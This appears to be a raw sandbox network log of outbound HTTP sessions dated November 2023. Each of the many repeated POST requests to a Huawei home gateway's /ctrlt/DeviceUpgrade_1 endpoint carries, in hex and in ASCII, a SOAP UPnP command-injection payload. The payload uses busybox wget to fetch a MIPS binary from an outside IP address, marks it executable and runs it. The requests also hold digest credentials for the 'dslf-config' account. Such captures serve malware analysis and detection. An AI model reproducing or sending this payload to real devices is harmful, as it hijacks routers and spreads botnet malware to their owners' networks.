Nov 19, 2023 09:16:59.074712992 CET	2098	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.944475889 CET	2539	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	156.254.109.92	37215	192.168.2.23	45584

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:43.721139908 CET	1675	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:45.348680973 CET	1704	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.268295050 CET	1761	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143807888 CET	1849	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:58.818600893 CET	2097	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.176583052 CET	2510	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:44.892275095 CET	3327	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	45584	156.254.109.92	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:43.721139908 CET	1675	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 